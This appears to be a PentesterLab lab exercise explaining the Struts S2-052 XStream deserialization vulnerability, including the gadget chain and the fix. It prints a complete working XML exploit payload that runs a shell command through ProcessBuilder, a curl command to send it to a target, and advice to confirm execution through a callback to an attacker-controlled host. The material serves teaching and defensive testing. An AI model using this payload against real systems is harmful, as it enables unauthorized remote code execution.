S2-052

Bookmarked!

This exercise covers the exploitation of the Struts S2-052 vulnerability

Free Easy < 1 Hr. 2611 Blue Badge
Course

Introduction

This course details how to gain code execution when a Struts application is vulnerable to s2-052 (CVE-2017-9805). Like s2-045, this vulnerability has been widely exploited and packaged into many tools, so it is essential that you know how to test for it.

Unlike s2-045, which abuses OGNL expression evaluation, s2-052 is a Java deserialization bug. The mechanism is completely different, and understanding it teaches you a pattern (untrusted XML deserialized into arbitrary Java objects) that shows up far beyond Struts.

Affected versions

Struts s2-052 impacts applications using the REST plugin on:

  • Struts 2.1.2 to 2.3.33 (inclusive)
  • Struts 2.5 to 2.5.12 (inclusive)

The bug only affects applications that have the Struts REST plugin enabled. That plugin is common: it is the standard way to build REST-style endpoints with Struts.

Background: the REST plugin and content negotiation

The REST plugin lets a single action serve multiple representations. The same endpoint can return HTML, JSON, or XML depending on the request, and crucially it can also accept JSON or XML request bodies and turn them into Java objects for the action to use.

To do this, the plugin looks at the request's Content-Type and picks a ContentTypeHandler to parse the body:

  • application/json is handled by a JSON handler.
  • application/xml is handled by XStreamHandler, which deserializes the body with the XStream library.

The XML handler is the problem. Stripped down, it does this:

public class XStreamHandler implements ContentTypeHandler {
    public void toObject(Reader in, Object target) {
        XStream xstream = createXStream();   // a default, unrestricted XStream
        xstream.fromXML(in, target);         // deserialize the request body
    }
}

So an attacker who can POST or PUT XML to a REST endpoint controls the input to XStream.fromXML. To understand why that is fatal, you need to know what XStream does.

Why XStream deserialization is dangerous

XStream maps XML to Java objects and back. When deserializing, the XML element names are class names, and XStream will:

  • Instantiate any class named in the XML. It does this without calling the class's constructor (it uses low-level reflection / ReflectionFactory), so even classes that try to validate themselves in their constructor are built anyway.
  • Set any field to attacker-chosen values by reflection, including private fields.
  • Build collections by reading their elements and inserting them. Inserting into a map or a sorted set is not free: it calls methods like hashCode(), equals(), or compareTo() on the elements during deserialization.

That last point is the key to deserialization exploitation. The attacker does not get to write code directly. Instead, they assemble a graph of ordinary, trusted JDK classes whose fields point at each other so that the act of rebuilding the graph (in particular, populating a collection) triggers a chain of method calls that ends in something dangerous. This is called a gadget chain.

By default, a plain XStream instance imposes no restriction on which classes it will instantiate. If you can feed it XML, you can ask it to build any class on the classpath.

The missing whitelist

Struts is not naive about XStream in general. Elsewhere in the framework, XStream is configured with type permissions (a whitelist) so that only safe, expected classes can be deserialized. The s2-052 bug is precisely that this filtering was never applied to the REST plugin's XStreamHandler. It used a stock XStream with the default allow-everything policy, so untrusted XML from the request body could name any class it liked.

That single omission, a deserializer with no type filtering reachable from an unauthenticated HTTP request, is the whole vulnerability. Everything below is "merely" finding a gadget chain to weaponize it.

The gadget chain, step by step

The well-known public payload builds a graph out of standard JDK classes. Here is the chain it constructs, and what fires it.

The trigger is a java.util.HashMap (written as <map>) containing two entries whose key is the same special object, a jdk.nashorn.internal.objects.NativeString. As XStream rebuilds the map, it inserts the entries, and inserting into a HashMap calls key.hashCode() (and, for the colliding second entry, key.equals()). The two-entry trick guarantees these methods run during deserialization.

From there the chain unfolds:

  1. NativeString.hashCode() calls its internal getStringValue(), which calls toString() on its value field. The attacker set value to a com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.
  2. Base64Data.toString() reads its bytes via a DataHandler, calling dataSource.getInputStream(). The data source is a com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource whose stream field is a javax.crypto.CipherInputStream.
  3. Reading the CipherInputStream drives its javax.crypto.NullCipher. Because the cipher has not chosen a provider, the cipher walks its internal serviceIterator to find one.
  4. That iterator is a javax.imageio.spi.FilterIterator. Advancing it pulls the next element (a pre-set java.lang.ProcessBuilder) and passes it to its filter.
  5. The filter is a javax.imageio.ImageIO$ContainsFilter, which holds a java.lang.reflect.Method. The attacker set that method to ProcessBuilder.start. The filter reflectively invokes the stored method on the element, i.e. it calls processBuilder.start().
  6. The ProcessBuilder's command was set to something like /bin/sh -c id, so the OS command runs.

Every individual class in this chain is a legitimate part of the JRE. None of them is "a backdoor". The exploit is entirely in how they are wired together, and it is only possible because XStream agreed to instantiate all of them from attacker-supplied XML. This is the essence of a deserialization gadget: harmless parts, dangerous arrangement.

The payload

The payload is a single XML document, sent as the request body with Content-Type: application/xml. Its skeleton is:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string>
                        <string>-c</string>
                        <string>id</string>
                      </command>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>foo</string>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <string>foo</string>
  </entry>
</map>

Notice the two <entry> elements with the same NativeString key (the second uses reference= to point at the first). That duplication is what forces the map to compare keys and run the gadget. Change the three <string> values under <command> to run a different command.

The public tooling (including the Metasploit module struts2restxstream) automates building this XML and choosing the command for you.

Detection and exploitation

Send the XML payload to any REST endpoint, as the body of a request with an XML content type:

$ curl -X POST \
       -H "Content-Type: application/xml" \
       --data-binary @payload.xml \
       http://[SERVER]/[endpoint]

Where:

  • payload.xml contains the document above.
  • [SERVER] is the victim and [endpoint] is any action served by the REST plugin.

Because the command runs during deserialization, before the action does anything meaningful, the HTTP status code of the response does not matter. A clean way to confirm blind execution is to run a command that calls back to you (for example a curl or nslookup to a host you control) and watch for the connection, or to run a command with an observable side effect on the lab such as touch /tmp/pwned.

Remediation

The fix in s2-052 was to stop the REST plugin from deserializing arbitrary types. Struts changed XStreamHandler to install a strict whitelist on the XStream instance: it denies all types by default (NoTypePermission) and then explicitly allows only the small set of safe, primitive and collection types a REST action legitimately needs. Anything else, including every class in the gadget chain above, is rejected before it can be instantiated.

The general lesson applies to any deserializer, not just XStream: never deserialize untrusted input into arbitrary types. Always restrict deserialization to an explicit allow-list of expected classes, and treat a request body that names java.lang.ProcessBuilder or javax.crypto internals as exactly what it is, an attack.

Conclusion

This exercise explained how an unauthenticated XML request body becomes remote code execution on a Struts application using the REST plugin: the plugin hands the body to an unrestricted XStream, XStream instantiates a gadget chain of ordinary JDK classes, and rebuilding that object graph reflectively invokes ProcessBuilder.start(). When you come across a Struts application, test for this issue as well as s2-045.

I hope you enjoyed learning with PentesterLab.